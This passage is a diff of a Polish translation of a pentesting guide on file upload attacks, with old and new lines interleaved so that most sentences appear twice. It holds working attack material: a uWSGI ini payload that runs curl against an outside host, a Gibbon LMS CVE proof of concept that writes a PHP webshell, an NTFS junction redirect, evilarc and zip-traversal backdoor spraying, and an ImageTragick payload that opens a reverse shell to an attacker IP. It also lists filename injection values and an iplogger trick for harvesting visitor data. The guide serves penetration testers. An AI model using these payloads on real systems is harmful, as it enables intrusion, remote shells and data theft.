Rozszerzenie `.inc` jest czasami używane dla php files, które są jedynie używane do **import plików**, więc, w pewnym momencie, ktoś mógł pozwolić na **wykonywanie tego extension**.
|
||||
Rozszerzenie `.inc` jest czasami używane dla plików php, które służą jedynie do **importu plików**, więc w pewnym momencie ktoś mógł dopuścić **wykonywanie tego rozszerzenia**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jeśli możesz uploadować plik XML na Jetty server, możesz uzyskać [RCE ponieważ **nowe *.xml and *.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, wyślij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a!
|
||||
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe *.xml i *.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak pokazano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Dla szczegółowego omówienia tej luki sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) podatności mogą być exploitowane na uWSGI servers jeśli atakujący ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magic" zmiennych, placeholderów i operatorów. W szczególności operator '@', używany jako `@(filename)`, jest zaprojektowany do includowania zawartości pliku. Wśród różnych wspieranych schem w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na czytanie danych z stdout procesu. Ta funkcja może być zmanipulowana dla złośliwych celów takich jak Remote Command Execution lub Arbitrary File Write/Read gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||||
Luki Remote Command Execution (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli atakujący ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do wstawiania "magicznych" zmiennych, placeholderów i operatorów. W szczególności operator '@', używany jako `@(filename)`, służy do dołączania zawartości pliku. Spośród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny — pozwala na odczyt danych ze standardowego wyjścia procesu. Funkcję tę można manipulować w celach złośliwych, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||||
|
||||
Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, ukazujący różne schematy:
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -157,22 +157,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po crashu lub w wyniku Denial of Service attack) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
|
||||
Wykonanie payload ma miejsce podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (np. po awarii lub w wyniku Denial of Service) albo plik musi mieć włączony auto-reload. Funkcja auto-reload, jeśli jest aktywna, przeładowuje plik w określonych odstępach po wykryciu zmian.
|
||||
|
||||
Konieczne jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload można wstawić do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.
|
||||
Ważne jest zrozumienie luźnego podejścia uWSGI do parsowania plików konfiguracyjnych. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Nieautoryzowany endpoint w Gibbon LMS pozwala na arbitrary file write wewnątrz web root, prowadząc do pre-auth RCE przez upuszczenie pliku PHP. Wrażliwe wersje: do i włącznie 25.0.01.
|
||||
Nieautoryzowany endpoint w Gibbon LMS umożliwia arbitrary file write wewnątrz web root, prowadząc do pre-auth RCE przez zapisanie pliku PHP. Wersje podatne: do i włącznie 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (serwer ignoruje typ/nazwę, dekoduje zakodowaną w base64 część)
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (serwer ignoruje type/name, base64-dekoduje końcówkę)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
Minimalny PoC do zapisania i ponownego odczytania pliku:
|
||||
Minimal PoC do zapisania i odczytania pliku:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
@ -195,17 +195,16 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notatki:
|
||||
- Handler wykonuje `base64_decode($_POST["img"])` po podzieleniu po `;` i `,`, a następnie zapisuje bajty do `$absolutePath . '/' . $_POST['path']` bez walidacji rozszerzenia/typu.
|
||||
- W rezultacie kod uruchamia się jako użytkownik serwera WWW (np. XAMPP Apache on Windows).
|
||||
Notes:
|
||||
- Handler wykonuje `base64_decode($_POST["img"])` po podzieleniu przez `;` i `,`, a następnie zapisuje bajty do `$absolutePath . '/' . $_POST['path']` bez walidacji rozszerzenia/typu.
|
||||
- Wynikowy kod uruchamia się jako użytkownik usługi webowej (np. XAMPP Apache na Windows).
|
||||
|
||||
Odnośniki do tego buga obejmują advisory usd HeroLab oraz wpis w NVD. Zobacz sekcję References poniżej.
|
||||
Referencje dla tego buga obejmują usd HeroLab advisory i wpis NVD. Zobacz sekcję References poniżej.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
W niektórych przypadkach możesz natrafić na serwer, który używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranego pliku znajduje się na whitelist, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tę kontrolę można obejść.**\
|
||||
|
||||
The **maksymalna** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **pobrać plik o nazwie "A"*232+".php"+".gif"**, ta nazwa pliku **obejdzie** the **check** (jak w tym przykładzie **".gif"** jest **valid** rozszerzeniem) ale `wget` **zmieni nazwę** pliku na **"A"*232+".php"**.
|
||||
W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane będą tylko dozwolone pliki. Jednakże, **to sprawdzenie można obejść.**\
|
||||
Długość **maksymalna** **filename** w **linux** wynosi **255**, jednak **wget** przycina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (w tym przykładzie **".gif"** jest **poprawnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -228,35 +227,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Zwróć uwagę, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, żeby HTTP server przekierował do innego pliku, więc początkowy URL ominie sprawdzenie, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest użyty z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**.
|
||||
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, by **HTTP server przekierował do innego pliku**, dzięki czemu początkowy URL obejdzie sprawdzenie, a wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**.
|
||||
|
||||
### Ominięcie upload directory za pomocą NTFS junctions (Windows)
|
||||
|
||||
(Do tego ataku potrzebny będzie lokalny dostęp do maszyny Windows) Kiedy uploads są przechowywane w podkatalogach per-user na Windows (np. C:\Windows\Tasks\Uploads\<id>\) i kontrolujesz tworzenie/usuwanie tego podfolderu, możesz zastąpić go directory junction wskazującym na wrażliwą lokalizację (np. webroot). Kolejne uploads zostaną zapisane w docelowej ścieżce, co umożliwi wykonanie kodu jeśli target interpretuje server‑side code.
|
||||
|
||||
Przykładowy przebieg, aby przekierować uploads do XAMPP webroot:
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
Notatki
|
||||
- mklink /J creates an NTFS directory junction (reparse point). Konto serwera WWW musi podążać za junction i mieć uprawnienia zapisu w miejscu docelowym.
|
||||
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
|
||||
- Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
|
||||
|
||||
## Narzędzia
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesters i Bug Hunters w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i eksploatacji podatności, zapewniając dokładne oceny aplikacji webowych.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
### Korrumpowanie indeksów uploadu przez niestandardowe zachowanie snprintf (historyczne)
|
||||
|
||||
Niektóre przestarzałe handlery przesyłania plików, które używają `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu pliku, mogą zostać oszukane do sfałszowania struktury `_FILES`. Z powodu niekonsekwencji i obcinania w zachowaniu `snprintf()`, starannie spreparowany pojedynczy upload może wyglądać po stronie serwera jak wiele plików z indeksami, wprowadzając w błąd logikę zakładającą sztywną strukturę (np. traktując ją jako upload wielu plików i wybierając niebezpieczne gałęzie). Choć dziś niszowy, wzorzec “index corruption” czasem pojawia się ponownie w CTFs i starszych bazach kodu.
|
||||
Niektóre starsze upload handlery, które używają `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu, mogą zostać oszukane do sfałszowania struktury `_FILES`. Z powodu niekonsekwencji i obcinania w zachowaniu `snprintf()`, starannie spreparowany pojedynczy upload może wyglądać jak wiele zindeksowanych plików po stronie serwera, wprawiając w błąd logikę, która zakłada ścisły kształt (np. traktując to jako multi-file upload i wybierając niebezpieczne ścieżki). Choć dziś niszowe, wzorzec „index corruption” czasami powraca w CTFach i starszych bazach kodu.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## Od uploadu plików do innych podatności
|
||||
|
||||
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **path traversal**
|
||||
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
|
||||
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj uzyskać **path traversal**
|
||||
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz osiągnąć **SQL injection**
|
||||
- Ustaw **filename** na `<svg onload=alert(document.domain)>` aby wywołać **XSS**
|
||||
- Ustaw **filename** na `; sleep 10;` aby przetestować pewne command injection (more [command injections tricks here](../command-injection.md))
|
||||
- Ustaw **filename** na `; sleep 10;` aby przetestować potencjalne command injection (więcej [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Wypróbuj **different svg payloads** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Jeśli możesz wskazać web server, aby pobrał obraz z URL, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **image** zostanie **saved** w jakimś **public** serwisie, możesz też wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**.
|
||||
- Jeśli możesz nakłonić serwer WWW, by pobrał obraz z URL, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **image** zostanie **saved** w jakimś **public** serwisie, możesz też wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specjalnie spreparowane PDFy do XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować jakiś PDF, który wykona arbitralny JS zgodnie z podanymi wskazówkami.
|
||||
- Specjalnie spreparowane PDFy do XSS: Strona [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować taki PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Sprawdź, czy istnieje jakieś **size limit** przy wysyłaniu plików
|
||||
- Sprawdź, czy istnieje jakiś **size limit** przy uploadowaniu plików
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Oto lista top 10 rzeczy, które możesz osiągnąć poprzez upload (źródło: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -269,7 +293,7 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Extension
|
||||
#### Rozszerzenie Burp
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -285,30 +309,30 @@ Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipe
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Jeśli możesz przesłać ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić dwie rzeczy:
|
||||
Jeśli możesz wgrać ZIP, który zostanie rozpakowany na serwerze, możesz zrobić dwie rzeczy:
|
||||
|
||||
### Symlink
|
||||
|
||||
Prześlij archiwum zawierające linki symboliczne do innych plików, wtedy po dostępie do zdekompresowanych plików uzyskasz dostęp do plików wskazywanych przez te linki:
|
||||
Wgraj archiwum zawierające linki symboliczne do innych plików, a następnie, uzyskując dostęp do rozpakowanych plików, uzyskasz dostęp do tych linkowanych plików:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Dekompresja do różnych folderów
|
||||
### Rozpakowywanie do różnych folderów
|
||||
|
||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe przesyłanie plików, wsparcie dla hierarchicznej kompresji i directory traversal capabilities of the ZIP archive format mogą zostać wykorzystane. To pozwala atakującym obejść ograniczenia i wydostać się z secure upload directories, manipulując funkcjonalnością dekompresji atakowanej aplikacji.
|
||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji to istotny problem. Mimo początkowych założeń, że taka konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, obsługa hierarchicznej kompresji oraz możliwości directory traversal w formacie archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i opuścić bezpieczne katalogi uploadów poprzez manipulację funkcją dekompresji aplikacji docelowej.
|
||||
|
||||
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Ponadto opcją jest **symlink trick with evilarc**. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć w systemie symlink do tego pliku. Zapewni to, że evilarc nie napotka błędów podczas działania.
|
||||
Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest dotarcie do pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania.
|
||||
|
||||
Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwego pliku zip:
|
||||
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -329,9 +353,9 @@ create_zip()
|
||||
```
|
||||
**Wykorzystywanie kompresji do file spraying**
|
||||
|
||||
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Po więcej szczegółów **sprawdź oryginalny post**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Tworzenie PHP Shell**: Kod PHP zostaje napisany tak, aby wykonywał polecenia przekazane przez zmienną `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Kod PHP jest napisany tak, aby wykonywać polecenia przekazywane przez zmienną `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -341,14 +365,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying i tworzenie skompresowanego pliku**: Tworzonych jest wiele plików, a następnie składany jest archiwum zip zawierające te pliki.
|
||||
2. **File Spraying and Compressed File Creation**: Tworzone są liczne pliki, a następnie składane jest archiwum zip zawierające te pliki.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modyfikacja przy użyciu edytora heksadecymalnego lub vi**: Nazwy plików wewnątrz zip są zmieniane przy użyciu vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów nadrzędnych.
|
||||
3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz archiwum zip są modyfikowane za pomocą vi lub edytora hex — zamienia się "xxA" na "../", aby przeprowadzić directory traversal.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -358,38 +382,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (od [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (zobacz [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Osadzanie PHP Shell w PNG
|
||||
## Osadzanie PHP shell na PNG
|
||||
|
||||
Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostanie nienaruszony przez te operacje, stanowi znaczącą zaletę w określonych przypadkach użycia.
|
||||
Osadzenie PHP shell w IDAT chunk pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i resamplowania obrazów. Możliwość, że osadzony PHP shell pozostanie niezmieniony przez te operacje, jest istotną zaletą w pewnych przypadkach użycia.
|
||||
|
||||
Szczegółowe omówienie tej techniki, łącznie z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
Szczegółowe omówienie tej techniki, w tym metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
|
||||
Więcej informacji: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Pliki polyglot
|
||||
## Pliki polyglotyczne
|
||||
|
||||
Pliki polyglot działają jak kameleony w cybersecurity, mogąc poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda funkcjonująca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS czy PPT i JS.
|
||||
Pliki polyglot pełnią unikalną rolę w cybersecurity, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Intrygującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS lub PPT i JS.
|
||||
|
||||
Główna użyteczność plików polyglot polega na ich zdolności do obejścia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w wielu aplikacjach jest zezwalanie tylko na określone typy plików przy uploadzie — np. JPEG, GIF czy DOC — aby zredukować ryzyko wynikające z potencjalnie niebezpiecznych formatów (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów, może dyskretnie obejść te ograniczenia.
|
||||
Główna użyteczność plików polyglot polega na ich zdolności do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. W praktyce wiele aplikacji dopuszcza tylko określone typy plików do uploadu — np. JPEG, GIF lub DOC — aby zredukować ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP lub Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów jednocześnie, może dyskretnie ominąć te ograniczenia.
|
||||
|
||||
Mimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki dotyczącej rozszerzeń plików na danej platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć do zatwierdzenia uploadu.
|
||||
Pomimo tej elastyczności, polyglots napotykają ograniczenia. Na przykład, chociaż polyglot może jednocześnie zawierać PHAR i JPEG, powodzenie uploadu może zależeć od polityki dotyczącej rozszerzeń plików na danej platformie. Jeśli system jest rygorystyczny względem dozwolonych rozszerzeń, sama strukturalna dualność polyglota może nie wystarczyć, by zapewnić jego przesłanie.
|
||||
|
||||
Więcej informacji: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Jak uniknąć wykrywania typu pliku przez upload poprawnego pliku JSON nawet jeśli nie jest dozwolony, podszywając go pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Jak uniknąć wykrywania typu pliku przesyłając prawidłowy JSON nawet jeśli nie jest dozwolony, udając plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to uznawane za ważne (zobacz przykład w poście)
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (zobacz przykład w poście)
|
||||
- **`file` binary**: Potrafi odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż ta wartość, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF — wówczas zostanie uznany za PDF
|
||||
- **`mmmagic` library**: Dopóki magiczne bajty `%PDF` znajdują się w pierwszych 1024 bajtach, jest rozpoznawany jako PDF (patrz przykład w poście)
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (patrz przykład w poście)
|
||||
- **`file` binary**: Może odczytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, żeby nie mógł sparsować zawartości jako json, a następnie wewnątrz JSON umieścić początkową część prawdziwego PDF — wtedy uzna go za PDF
|
||||
|
||||
## References
|
||||
|
||||
@ -407,5 +431,7 @@ Jak uniknąć wykrywania typu pliku przez upload poprawnego pliku JSON nawet je
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
